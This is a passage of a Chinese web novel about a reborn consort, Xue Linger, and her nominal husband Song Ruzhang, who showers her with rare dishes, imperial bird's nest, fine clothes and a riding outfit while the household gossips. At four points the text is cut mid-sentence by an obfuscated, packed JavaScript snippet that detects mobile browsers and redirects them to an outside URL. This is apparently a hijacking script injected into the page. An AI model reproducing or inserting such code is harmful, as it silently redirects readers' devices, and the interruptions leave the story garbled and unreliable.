可见烹饪这门功夫,跟父亲带兵打仗一样,高手出招,都差不多。 秋香见主子吃的满意,开了笑脸,自己笑的比主子还开心。又见男主人也带了笑意说道:“喜欢就好,就是要你吃的高兴适意,才好。以后每天晚上,你都过来用饭。” 这话说出口还没落地,宋汝璋登时就后了悔。 自从八岁那年,扯着谢氏的衣襟撒娇被罚跪了祠堂之后,他再也没有说出过这样肉麻的话。此刻他只觉得嘴唇发麻,恨不得把这句话,原地再吃回肚子里去。 薛灵儿听到这句话,也是实在有些意外。 她究竟是前世曾嫁为人妇,品得出来这句话温度有点高,说是带着点辣味,好像也不为过。 一丝羞意没有来由地,在心底泛起,像一丝涟漪荡开,虽然微细,却硬是压不下去。 她忍不住瞟了宋汝璋一眼,见他眼神清明透亮,一如既往的坦坦荡荡,内心羞意更深。 羞中带了愧,怪自己心思太多。宋大人这样坦荡君子,不过是拿她当亲妹妹,加上两次替他解决了苏玉兰的麻烦,如今请她吃点贵重进补的食物,顺便和个好,就算说话语气热辣了些,也不过是因为没跟妇人女子打过交道,考量不好其中的分寸而已。 思虑一番,开了笑颜,自己动筷子夹菜,还一边劝宋汝璋:“大人你也吃啊,别光为我张罗。” 秋香听到这句话,笑得更加合不拢嘴,看来这屋子是不能待了,给流云使了个眼色,二人借个故,慌慌忙忙,退了出去。 但两位主子好似根本没有留意,薛灵儿集中精神在这桌菜上,决定大吃一顿,好好过过馋瘾,宋汝璋看对面的小姑娘腮边露出小小梨涡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014501|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼眸更深了一些。 疑心生暗魅,相由心生,原本风马牛不相及的两个人,如今在夕阳的幻彩中,重叠了影像,变幻不定。 快快乐乐,吃了一个大半饱,才忽然留意到宋汝璋既没有怎么动筷子,也没有怎么说话,忽然感到了一点不好意思:“大人你再不吃,菜都冷了。” 宋汝璋嗯一声,夹个甜点嚼着,开口发问:“之前咱二人吃饭,都是我讲故事给你听,如今你也讲讲你。你小的时候有些什么有趣的事情?” 薛灵儿一听,心内警惕又生出一丝,但明面上也挑不出毛病。既然那白月光入宫为妃,她的事情自然是再也不能讲,而宋汝璋这个人,书堆中长大,书斋中讨生活,实在是没有故事,再逼他讲出一二段,也是不能。 但自己的事情,又如何能讲? 薛灵燕的事情,她压根儿不知道,一讲就会出破绽,经不起查问。薛灵儿的事情,件件都是机密,压根儿不能讲,怎么办? 眼珠一转,不如讲最近去官宦家交际的事情,顺便听宋汝璋如何讲论朝堂,说不定能听到点有用的东西。 主意打定,天真畅快地一笑:“我小时候脑子不好使,整天就是挨打受气,如今好容易嫁给了大人,过上了无忧无虑有人疼的好日子,谁还愿意提那些事?” 薛灵儿这一个太极打下来,宋汝璋果然觉得自己十分不妥,这话就不该问,正在懊悔,就听薛灵儿说:“不如我给大人讲讲嫁给你之后的事情,我跟县主娘娘去交际过的官宦人家,吃好的喝好的,夫人小姐们在一起说说笑笑,可好玩了。” 这样也好,看能不能合上安国公府旧案的线索,宋汝璋目光闪动异样的光亮,点了头。 这天晚上,秋香和流云透过水榭的窗子往里看,足足看了大半个晚上,站的腿发麻,两位主子还在兴致勃勃地谈谈讲讲,引得灵犀阁内外的奴仆都来围观。 次日,从老夫人治下的管家娘子们开始,自上而下传扬,家主宋大人为讨夫人欢心,性情大变,采办了山珍海味,专门办了一桌赔罪宴。 后来的事情证明,宋大人的性情大变,这只是微不足道的第一弹。 但在当时的宋府,已经形成足够爆炸的轰动效应了。 一时之间,整个宋府,从主子到仆人,都对长房的这位痴傻夫人从头到脚,从脚到头,重新打量,刮目相看。 上看下看,左看右看,也是看不出个门道。虽然说是个水蜜桃一样香甜诱人的俊俏小娘子,论长相是没得挑剔,可宋大人究竟也不是个重色的人,况且原先做媒的那些官宦世家小姐,哪一个又长的比她差了? 越看不出个所以然,就越想看,看来看去,只能哀叹一句,人的命,天注定。 薛灵儿一大清早,去给婆母谢氏请安敬茶的路上,就这样被一路的奴仆看了个浑身发麻。 这一大清早,谢氏翻看着刘妈妈递过来的厨房账本,新增的山珍海味费用,还有新来一个厨子,月钱有点惊人。 细细地看完一遍,问刘妈妈:“照这样开支下去,长房的收益,能不能抵消得过长房的开支?” 40. 御赐血燕与佛跳墙 一见谢氏还是以往的简朴风格,刘妈妈心内稍稍盘算一下,便笑了起来。 “听听您这话说的,长房的开支,因大人并未娶妻,历年的俸禄都无处花用,在府里公帐上存了许多,您还别说皇上赏赐的田庄,年年大笔的进项支撑着全府的花用,如今别说少夫人吃上一顿,就是再填一百个少夫人这么吃上十年,也动不了府上的一根汗毛。” 谢氏日常谨素寡言,殊少欢乐,偏有刘妈妈天性风趣,常常能逗她一笑,因此刘妈妈得了她的意,成了府上的大管家。如今刘妈妈看主子不开心,耍上了老把戏,百试百灵,主仆二人会心一笑,谢氏便开了笑脸:“既然你这么说,我就暂且不管他们,往后再看。” 谢氏这一放纵不管,宋大人的行为一路前行震惊了很多人,首先震惊的是薛灵儿。 她以为那桌燕鲍翅宴席,只是宋大人的赔罪宴,咬牙忍痛掏的腰包,第二日去,只会恢复到家常便饭,谁知第二日一进门,餐桌又摆上了来自南海的金丝血燕燕窝羹。 血燕对于女子滋阴补气,最是有奇效,可惜就是太为稀有,而且,观眼前那盅血燕的成色,进贡到皇宫去,也差不多够用了。 民间,就算二品官宦世家,有银子也没处买去。 实在扛不住薛灵儿一双清澈大眼睛雪亮的逼视,宋汝璋轻轻咳嗽一声,转开了视线:“是皇后娘娘昨日见到我,忽然惦记起我已经娶妻,特意赏赐的。” 薛灵儿舒了口气,原来是郑皇后赏赐的,那没事了。 她坐在桌边,专心品尝美味。 燕窝羹丝滑甜美,本非民间所有,隐约之中就有几分前世梧桐宫的味道,前世的故人和往事,也难免在眼前闪过,如丝如缕。 前世她独得圣宠,满宫嫔妃都嫉妒不忿,区别也就是明枪或者暗箭而已,唯独郑皇后和秦贵妃待她甚厚,没想到这一世,郑皇后依然对待她这么好。 宋汝璋见她微闭了眼,吃得陶醉,悄悄松了口气,总算蒙骗了过去。 燕窝是郑皇后赐的不错,不过,是他开口讨要来的。 成为天子近臣,内书房行走,已经接近三年,他从来没开口,跟皇帝讨要过任何一样东西。他懂为人臣子的本分,更懂得身为宠臣的大忌,从来不敢打破界限。 可是昨日,他忽然忍不住,想打破一下自己给自己定的规矩,想放肆一下试试看,跟皇帝开了口,说自家娘子最近病了一场,想跟皇后娘娘讨要些成色好的燕窝,养养气血。 说出口的时候垂着头,躬着身,相当忐忑不安,因为知道这个皇帝貌相温雅和煦,实则多思多疑,没想到棋盘对面的皇帝,轻笑出了声。 “明堂啊明堂,你也有今日。你这个木石心肠的老古板,居然也有开窍的一天。连你都知道宠爱妻室了,真是天道往还啊。” 一句“天道往还”,皇帝的语声带出了一丝伤感的余韵。 这点余韵极浅极淡,不是十分熟悉的人,决计听不出来,但宋汝璋听的心内一缩。 君臣感情亲密,他一下子就听出,他指的是当年弹劾梧桐宫之事。 若是君上知道了,已故宠妃的魂灵,在最亲近臣子的府内现出蛛丝马迹,又当如何?往下的情形,会变成什么样子? 还没等宋汝璋想明白,皇帝已经察觉了自己的些微失态,语气很快恢复正常:“难得你有了七情六欲,朕岂能不成全你?汪德厚,你去皇后宫中,就说朕的旨意,宋大人难得开了情窍,要给妻子补养身体,请皇后从内库中取些好东西。” 眼见宋汝璋耳根发红,连汪德厚都没控制住一抹笑意,躬身领命,乐颠颠地去办这个沾着喜气的差使。 郑皇后素来慷慨,宋汝璋如愿以偿,领到了内库里成色最好的珍馐,可是心头那丝不安之意,怎么都挥之不去。 要到此刻,看到眼前的小姑娘无忧无虑,大快朵颐,脸上绽出春花一般的颜色,方才获得了一点释然。 于是自我解嘲起来:生年不满百,常怀千岁忧,何尝不是一种世人的愚妄。 譬如他,自幼到长大,直到昨日,无非处处谨慎,事事筹谋,可最重要的人,无论他如何筹谋,还是错失了一步,连一个及时的预警都没能送到她跟前。 如今亡故之人的魂灵再次现世,也许只是如镜花水月的流动幻影,今日尚存,明早便逝。 这样说来,得她今日之欢,岂不比什么都强? 至于明日,是刀斧加身,身败名裂,还是千夫所指,身首异处,都由明日安排吧,今日,但求心之所安罢了。 主意拿定,看薛灵儿吃完了那一盅燕窝羹,意犹未尽的眼神,忍不住微笑道:“明日还有。” 看薛灵儿眼神诧异中带点受惊的神色,宋汝璋轻声安慰道:“皇后娘娘恩赏了我许多。” ———— 深夜,内书房,厚厚的木质门隔开了一整日的喧嚣,是宋汝璋每日难得的清净时刻。 他身后的暗格敞开,完全的袒露于烛影之下,白玉的观音像合着双眼,格外的慈悲。 沉香燃起,沉郁清幽,静悄弥散。 那张未完成的画像铺在桌案上,平平整整,不曾有一丝折痕,宋汝璋端详着整张画幅,从旁边一列画笔中取出一支最纤细的,擎在手中,蘸了一点颜色,有心在那人像上再添一笔。 踌躇再三,终究是没有落笔,又将画笔在笔洗中细细的涮洗干净,将画幅重新悬挂,掐灭沉香,将暗格重新合起。 桌案上,新添了一摞小册子,宋汝璋定了定神,走到墙边的烛台旁剔亮了烛芯,又坐回桌案旁,拿起最上边的小册子在手内翻看。 却并非什么圣贤之书,而是一行行略显稚拙的笔迹,是厨子手书的菜谱。但宋大人就像看圣贤书一样,神情谨素,一页一页,认认真真,翻看了下去。 第二日傍晚,灵犀阁内给长房少夫人开的宴席,震惊了整个宋府。 不光有皇后娘娘钦赐的血燕做的燕窝羹,还有一道京城极少人听说的珍馐美味,叫做“佛跳墙”。 是八珍八烩,足够在大宴上做八道大菜的,如今都烩入了一个瓦罐里,谁也不知经过了多少道工序,泡发蒸煮炖制了多少时间,最终变成这一个瓦罐里奇异甘美的香味。 这闻所未闻的香气,随着傍晚的霞蔚在宋府的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023903|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上空缭绕,佛跳墙这个名字与那个沉默寡言的新来厨子,就此一夜成名。 当然,长房少夫人并不会吃独食,除了给老夫人送去了满满一大瓦罐孝敬之外,整个宋府的主子们,人人都分得了一杯羹。 但并不包括二房少夫人苏玉茹。薛灵儿就是再大度些,苏玉茹以那样下作的手法算计家主,她也无法宽宥他。 但消息如同长了翅膀的鸟,第二日就飞到了苏玉茹的院里。她自从被婆母削了管家权之后一直装病不出门,想等着上次丢脸的风头过去,再伺机重振旗鼓。 谁想到,自己的机会没等来,反倒听到了宿敌薛灵儿在全府大出风头的动静,登时气上加气,听着彩蝶绘声绘色的讲论,把个手上的帕子扭成了麻花,等彩蝶说完,把帕子往桌案一甩,打翻了茶盏,险些滚在地下,慌得彩蝶忙上来收拾。 苏玉茹望着桌上淋漓的茶水,吊稍眉一扬,开口骂道:“这狐狸精从棺材里爬出来的,抬进这家门那天,我这左眼就跳个不住,谁知道老的小的都瞎了眼,拿她当个宝,等哪一日这妖精作出祸来连累了全家,好好打他们的脸,那才叫痛快!” 彩蝶已经不是头一次听见这话,第一次听犹可,这次听分外的刺耳,左眼跟着突突的跳,不知为何就害怕起来,这咒人的话说多了,就要成了真似的,赶紧劝道:“主子可不敢说这话,连累了全家那可麻烦了,最好就是她作出祸来,天大的事他们长房自己去扛,咱们站在干地里看着,那多称愿。” 这话却也顺耳,半晌过后,苏玉茹怒气渐消,嗯了一声。 薛灵儿是否是个作妖的狐狸精,只敢在二房院内讲论,出了二房,谁敢非议这如日中天的新晋红人?然而家主宋大人性情大变,却让全府的人惊掉了下巴。 第一桩事情,从来不理庶务的家主,心无旁骛一心办差的宋大人,突然有一天,去了京城最好的绸缎铺。 绸缎铺里正在精挑细选、品评赏玩的贵妇淑媛们,一见进来男子,都依礼躲到了屏风后。 但这位寻常难得一见的高官贵人,天子近臣,到了寻常官员无法企及的高位,偏又这么年轻风华正茂,加上背负着多种离奇传闻,一时都控制不住好奇,向外窥看。 见这位身形异常高大,一件青玉色素缎长袍衬出一身清冷凛冽气场,骨相突出的一张脸,五官轮廓俊美锋锐,眼神深邃,薄唇紧抿,带着拒人千里之外的冷淡。 屏风后诸人情不自禁的屏住了呼吸,留神观望,见这人踱着方正步伐,将店面上摆着的花团锦簇逐一看过,皱了眉。 店面上的二掌柜看了一眼贵人的面色,把腰哈得更低些:“敢问府上夫人喜好什么料子和式样,小的去库里面寻一寻?” 宋汝璋并未正眼看他一眼:“你这大库里,没有我要的东西。” 二掌柜听得心里一跳。 这位,虽然在京城里是一等一的贵人,却又是全京城有名的勤俭持家,整个宋府从上到下,从未光顾过这里。 没想到这位贵人轻易不上门,一上门一开口,就知道他们的底细。这底细,要认真追查起来,皇宫内库里,可是有人要掉脑袋的呀。 41. 金缕衣 于是赶紧一哈腰应下:“小的这就带您去里间,面见掌柜的。” 那二掌柜的带头走上二楼,从腰间掏出一把钥匙,打开了看似不起眼的一扇小门,一行人走了进去。 那扇黑漆小门砰地一声关上,隔绝了店堂内一双双瞪大的眼睛。 徒然留下一股清冽的松竹之气,如同那人的清贵风度,在店堂内飘荡着如丝如缕的余韵。 短暂的沉默过后,店堂内反弹出一波热烈的议论,聒噪得小伙计打开了窗子。 有的妒羡交加。那五品小官家的痴傻庶女,究竟是什么命,这宋大人玉树临风,品貌名不虚传啊,今日才算见识到了,况且这天子近臣的高位,京城才俊中可是世无其二呢。 有的酸溜溜抓住伙计抱怨,说自己来这家绸缎铺花银子快十年了,怎么从来不知道那扇小门里有好东西,伙计连连摇手,说自己昨天刚来,什么也不知道。 那一日,宋大人在绸缎庄里掀起了第一波风浪,第三日,衣衫都在京城最好的裁缝铺里做好,送到宋府,也就顺理成章地掀起了第二波风浪。 裁缝铺的伙计一进宋府的大门,一溜顺路排开好几人,两人一担的往里面抬,上面花团锦簇的新衣在阳光照耀下闪闪发亮。那张扬的架势,自从宋府在京城立足以来,也是闻所未闻,见所未见。 胆大的奴仆躲开了刘妈妈的眼,跟着送新衣的队伍后面看热闹,一行人轰轰烈烈,来到了宋府最里边长房的院落,幸亏这院落够大,否则还真盛不下这么多人。 流云被宋汝璋从衙门特派回来安排这事,一见这从来没见过的排场,虽然沾了主子的喜气,面上喜气洋洋,心里却也直打鼓,也不知道大人突然性情大变,这样铺张到世人皆知,以后的路是要通向哪里。 薛灵儿听到院子里的吵闹喧嚣,迎出院门,一看这阵势,眼前一个恍惚,就想起了前世在梧桐宫的盛景。 那时候,全国各地的织造府,进贡了什么时新样式,沈清远定下惯例,让内务府从皇后宫中出来,便直接抬入梧桐宫。偏偏郑皇后又是一个不喜艳丽的俭朴为人,每次几乎都是原封不动,抬到了梧桐宫。 也是这样满院子花团锦簇的铺张架势。 不过这一世,薛灵儿的观感,好似与上一世截然不同。 她现在已经明白,做人过于高调,不是一件好事情。 她赶紧使了个眼色,让秋香打赏了裁缝铺的伙计,让宋妈妈收起东西,遣散了众人,关紧了院门。 关起门来细看,宋汝璋为她挑选的新衣,更是有些心惊肉跳之感。 苏绣,湘绣,花瑶纱罗,七彩织锦,如同五颜六色的霞彩落到了薛灵儿的卧房,她一件件的翻看。 没有一件是民间寻常之物。 不是出于皇宫内务府亲造,那是大逆不道之罪,就是有天大的贪欲,也没有人敢。 也不是贡品之中偷运出来,一旦被举报,是要掉脑袋的,而且是一连串的脑袋。 无非是取皇宫内务府与贡品之中的样品,略微模仿一二,已经为民间所稀有,且在贵妇淑女中,足以炫耀,品级不够高的人家,只知道这些织品精美贵重,根本连门道都看不出来。 就算能看出门道来的,也不过会心一笑,秘而不宣。 秋香跟着主子看,看的一直惊叹:“主子,明天穿那件通草花卷云纹的织锦缎给老夫人敬茶吧,老夫人肯定喜欢。” 薛灵儿却面上沉郁:“通通都收起来。” 秋香一见主子面上并无欢愉之色,忍不住诧异:“这些贵重东西,别说是咱家大人要宠一宠夫人,就是皇宫里的皇帝宠娘娘,也算拿得出手了。不是奴婢说嘴,如今这满天下人里头,有这样手面的夫君,再也找不出来第二个,主子您不高兴?” 薛灵儿只是摇摇头:“你不懂。” 好容易等到了彩霞满天时刻,餐桌旁见到了宋汝璋的面。 还没等她开口提新衣服的事,宋汝璋先提了:“我胡乱选的,也不知道里头有没有你喜欢的。” 这……语气首先就不大对,加上他眼神中带一点异样的热度和光亮,薛灵儿心里咚的跳了一下。 这也实在不像是试探诱捕敌人,诱捕敌人没有下这么大本钱的,倒像是……在讨好情人。 莫非时隔多年,他终于对秦若晴忘了情,而对名义妻子痴傻姑娘动了心? 这人突然性情大变,薛灵儿简直都快不认识他,不知道往哪边疑他好了。 望着薛灵儿雪亮大眼之中的狐疑之色,宋汝璋忽然感到了一丝尴尬,还有……害羞。 这好像是生平第一次,浑身上下,火烧火燎的不自在。 他想逃。 明知没什么理由和借口,可是他就是想逃。 正在想找个什么像样的借口,躲开这顿饭,离了这屋子,就见对面的小姑娘板正了脸色,开口说道:“大人,我说句不怕得罪你的话。不可太过铺张浪费。” 这话突如其来,宋汝璋好容易想出来的借口吓丢了一半,发着愣问:“你……你说什么?” 薛灵儿下定了决心,决心做一个贤良的……妹妹,一定要劝他悬崖勒马。 于是继续说道:“我是说,您不可以这样铺张浪费,今天送来那些衣服太贵重了,我也用不着。” 对面的小姑娘一本正经,说出来的话掷地有声,脸上带一层稚气未脱的可爱绒毛,此刻看起来,与那个人没有半分相似。 宋汝璋说不出内心排山倒海般的失落,眼前这姑娘,究竟是她,非她? 她生前,不是最爱这些这些东西吗?为了她太高调,太铺张,眼前有余忘缩手,怕她招来祸端,他刚刚入仕,不惜甘冒大险,弹劾梧桐宫过于奢靡,可惜她天性爱热闹爱享受,一个字也听不进去。 后来她果然被害,家族覆灭,而他因为是最早与梧桐宫与安国公府作对的名士文臣,反倒因祸得福,意外受了升迁重用。 也真叫一个事与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067863|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿违,造化弄人。 二人中间一个羊肉锅子,热气袅袅上升,宋汝璋在朦胧的雾气中念及前尘往事,感觉死了一遭又活过来的人,好像是自己。 于是忍不住抗辩道:“你说这话,我不能同意。人生在世,虽说享乐不可过度,但也不可过于苛待自己。你可曾听过一首诗……” 薛灵儿瞪大眼晴:“哪首诗?” 宋汝璋沉吟一下,吟诵道:“劝君莫惜金缕衣,劝君惜取少年时。花开堪折直须折,莫待无花空折枝。” 隔着羊肉锅子的热气,薛灵儿看到宋汝璋眼里有晶莹碎光一闪,再想看仔细,却又不见,疑心自己是看花了眼。 无论如何,这人是越来越不对劲,要是自己生前他就这样说,哪至于和梧桐宫结那么大仇,说不定宴饮作乐的时候身边有他作诗唱和呢,就像李白侍奉唐明皇杨贵妃…… 薛灵儿发现自己越想越歪,赶紧把思绪拉回来:“大人,我劝你的是正理。你若不听,我也无法,大不了那些东西别送我这里,您送给别人去吧。” 这…… 宋汝璋心中升起一丝滑稽之感,一时也不知是该哭,还是该笑。 自己好容易搞明白了人生至理,谨素端方固然是对,尽情尽兴也没有什么不对,现在想对着镜花水月的念想送点东西弥补一下遗憾,反倒被对方言辞拒绝,眼见送不出去了。 怎么办呢。 只好先斩后奏,瞒着她硬送吧。 宋汝璋从生下来,从来没动过这么不老实的念头。 他以为自己会很惭愧很羞耻,结果……心里感到一种异样的畅快。 这畅快很快入了心,透了骨,通透了全身,这滋味简直太好了。 他决定,以后就这么干了,还要越干越大。 主意拿定,他垂下眼,假装出一副老实的神情:“你既然这么想,那就都听你的。” 其实这话的韵味相当不对劲,不过宋汝璋一张长方脸上的谨素方正神情太有迷惑性,薛灵儿忽略了其中暧昧缠绵的韵味,名义夫妻二人专注了心思吃饭。 宋汝璋积极动手服侍,又尽量不露过于露骨的殷勤痕迹,薛灵儿本来个性爽朗,心思不细,一时沾沾自喜,以前怎么没发现自己这么会劝人呢。这一劝,就把性情如此古怪固执的宋大人劝服了,为了回报自己劝诫有功,紧着给自己盛汤布菜呢。 有心再劝他饮食上俭省些,话到嘴边咽了回去。 她也想吃的好一些,不想恢复到刚来时候的吃糠咽菜。于是自己劝慰自己,民以食为天,吃又吃不了多少钱,况且也低调,不至于满府满院子的张扬。 这一顿饭,名义夫妻二人都吃得满意,又是吟诗,又是吃羊肉锅子,薛灵儿首次发现了自己在贤良和劝谏这一条路上大有可为,如果前世走这条路线的话,未必会输给郑皇后和秦贵妃。 而宋汝璋,在吃羊肉锅子的时候,悄悄盘算好了,明天再送点啥,能让她无法拒绝地收下。 42. 争马 就在薛灵儿以为自己劝谏有方的时候,不过第三日,就被现实打了脸。第三日的午后,流云飞跑来报,宋大人在马市与人争一匹马,动了手,流了血。 薛灵儿听完,心里就是一颤。 这不是纨绔才会干的事情吗? 宋大人这样的古板君子,居然去干了这样的事,难道是天罡倒转了? 忙忙的问道:“老夫人那边得到消息了吗?” 流云躬身答道:“老夫人还不知道。” 薛灵儿一摆手:“先别告诉她。” 她前世做安国公府大小姐的时候,很有些闯祸经验,本能的知道先瞒过上人,紧接着问:“大人流血了?哪里受伤了?” 内心本能的一缩,宋汝璋虽说人高马大,究竟是一介书生,打起架来怕是要吃亏。 流云哧的一声笑:“有我们几个在,哪里会让大人流血?大人在一旁负手看看而已。是那沈公子,家仆上手还嫌不过瘾,非得自己凑上去,被宋义一拳下去,嘴角开了花。” 薛灵儿松了口气,只要吃亏的不是自家人,那都不是大事。此乃武将之家出身的本色。 这口气松了一半才想起来,自己现在是文官之家的主母,需得讲究诗礼传家,于是正了一正脸色:“常言说,君子不立危墙之下,大人这样位高权重的人物,又是我朝名士,掺和到这样的事件中来,终归是对名声有损。” 流云一听夫人松了一口气后口风突变,变得这样官样文章,忍不住腹诽自家主子的流毒真是不浅。嫁进门短短的时日内,连圆房都没圆,只不过一起吃了几顿饭,就把好好的小姑娘活活的熏染成了老夫子。 薛灵儿一见流云很不适应自己新发掘的贤良一面,便索性恢复本来面目,不再装下去:“论起大人这个人,虽然说也经常骑马上衙门,可是看样子如同吃饭穿衣一样,只要是匹马就行,并不挑好坏。马市这样的地方,那都是纨绔子弟,斗鸡玩马的人才去斗狠争风头的地方,他去干什么?” 流云见她大眼睛里亮晶晶,露出极度好奇的神色,这才是他熟悉的主母,于是打开了话匣子:“详情小的也不知,只知道是皇上过几日要安排一次北山游猎,文武官员都需带着家眷出游,皇后娘娘的意思,全当是游园会了,让大家熟识熟识。也是皇上皇后的恩典。” 流云这话无意,薛灵儿听者留了心。母家的事情查到了突厥王子和次辅朱厚照,丹阳县主那一面的交际已经到头,这次游猎不正好是机会吗?无论如何得磨着宋汝璋跟着一同去。 心内正在打主意,忽然听得院外宋妈妈慌慌张张来报:“不好了,沈公子的父母带着沈公子来访了。” 薛灵儿一听,夫君闯祸的事情通了天,自己这儿媳再贤良,也是瞒不住,于是跟流云和秋香吩咐:“快随我去老夫人房内听训。招待完外客,就该来训咱们来,不如先过去,也好让老夫人消减些怒气。” 主仆三人来到谢氏的院内,听见待客的主厅内语声不断,也未敢打扰,便屏息静气,来到谢氏的卧房内等待。 忐忑了有半柱香的功夫,谢氏总算进得卧房来,容长面孔上阴云密布,唇角边的法令纹格外深刻,板着脸叫秋香和流云:“你二人出去。” 秋香和流云灰溜溜出去,薛灵儿赶紧站起身来,亲手奉上一杯热茶,垂着头做出一副乖巧神色。 谢氏喝下半杯茶,长长舒了一口气,嗔了薛灵儿一眼:“不必做出这副死样子来给我看,事情又不是你做的,我不至于迁怒于你。” 薛灵儿也跟着舒了一口大气,心说这薛家痴傻姑娘的命还真不错,这么是非分明的讲理婆婆,自己上辈子也没有摊上,皇太后心不顺的时候,也是要骂骂儿媳出气的。 一见谢氏的脸虽然难看,话却说的亲热,薛灵儿这样乖觉的人,如何不趁热打铁继续卖乖,于是露出一个甜笑,上手给谢氏捏起了肩膀:“母亲不怪我,但夫妇本是一体,汝璋有了不是,我来领罪认罚,这也是母亲教过我的为人妇之道嘛。” 谢氏脸色松下来一点,推开了她捏肩膀的手:“你也不是伺候人的材料,好好的给我坐下来,陪我说说话。” 薛灵儿就势收回了手,坐在谢氏身前的椅子上。 谢氏脸色忧虑更深:“看你也是真心着急,汝璋还算没有白疼你,自从你进了门,我看你是个懂事的好孩子,反而是汝璋,我越来越摸不清他的脉。” 薛灵儿一脸关切接了话:“今日这事,到底是怎么回事。” 谢氏叹口气转开了视线:“与沈公子这事,倒也不是汝璋的错。这沈公子横行霸道惯了,因他父亲是个武将军,跟着李氏家族的势力,寻常人都躲着他。今日可巧,那匹马是汝璋早下了定金的,偏这沈公子一眼看上了,就要强拉硬拽,汝璋就叫人出手教训了他一顿。” 薛灵儿最看不惯沈公子这样不知天高地厚的纨绔子弟,忍不住就叫了好:“这样的人,原本也该教训。” 谢氏点点头:“他父母也知道汝璋是皇上近臣,怕事情闹大被汝璋奏上一本,忙不迭地赶来跟我求情道歉。我也打听了京城对这件事的风评,倒是都说他仗义出手,为大家出了一口气,没有数说他不是的。” “我父亲说的没错,老百姓是最知道是非黑白的。”薛灵儿唇边露出小小梨涡。 谢氏一怔:“这……亲家薛大人来京城不久,倒是很有几分见地感慨。汝璋虽然说没做错,可我总觉得不安,这样的地方,按说他不该去的,这孩子,性情怎么突然就变了呢?” 对于宋汝璋突然的变化,薛灵儿也有同感,对谢氏劝慰道:“等他回来,母亲找他好好聊聊,他一定尊重母亲的想法。” 谢氏点点头,又摇摇头:“等闲的事情,我还管得住他,可是有些事情,这孩子油盐不进,执拗得吓人,就说三年前,他把自己关在屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125563|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里不出来,一连多少天,身上受了那么重的伤也不跟我说,就像发了疯一样。” 三年前? 薛灵儿眨着眼睛,极力还原谢氏所说的时间节点,照谢氏所说,三年前宋汝璋也曾经性情大变,发了一次疯。 可是不对呀。那时候自己被毒身死,安国公府覆灭,宋汝璋因祸得福在官场得了重用,正是春风得意,青云直上的时候,他发的什么疯? 正在百思不解,刘妈妈叩响房门:“老夫人,大人回来了,可要叫他进来?” 谢氏微一点头,看薛灵儿一眼,薛灵儿会意:“儿媳先告退。” 薛灵儿回到房中,好容易熬到了晚饭时分,踏着满天彩霞,去灵犀阁吃晚饭。 进了屋,还没等盘算好如何开口说话,流云捧了个锦缎大盒子递了上来。 薛灵儿望向宋汝璋:“大人,这是?” 宋汝璋说话很简短:“给你的新衣服,骑马时候用的。” 薛灵儿没想到事情来的这么容易,天上掉了馅饼,瞌睡来了枕头,简直有点不敢信:“骑马?” 宋汝璋并不知道流云已经提前泄露过,一板一眼交代:“过几日,皇帝皇后带文武百官去北大营狩猎,让三品以上官员带着家眷,大家一起热闹热闹,熟识熟识。我见你喜欢热闹,带你一同去,岂不是好?” 薛灵儿记起了前世在玉门关的日子。 骑在马上,风驰电掣一般,追赶野兔和黄羊,父亲的亲随叫林叔,在后面提醒她慢一点,慢一点,可是她根本不听,催马加鞭,笑声像银铃一样,响到了云天外。 那样快乐的日子,再也不会回来了。 宋汝璋察觉了薛灵儿的神情郁郁:“怎么,你不高兴?” 薛灵儿接过锦缎盒子,掩饰地一笑:“怎么会不高兴呢,只是……我有些担忧,大人,我不会骑马啊,可怎么办?” 她并没有忘情,还记得薛灵燕应该不会骑马。 宋汝璋目光透过水榭的窗子,望向了远方:“不会没关系,我教你。” 薛灵儿一见他若有所思的样子,心知肚明他想起了别的人,心里纳闷,那秦若晴整日价舞文弄墨,吟诗作画,在玉门关的时候,别说骑马,等闲拉她出来玩一次,也是不肯。什么时候学会骑马了? ———— 数日后,京城郊外,北大营,皇家的狩猎场。 天高云淡,秋日晴和,天际一行新雁。 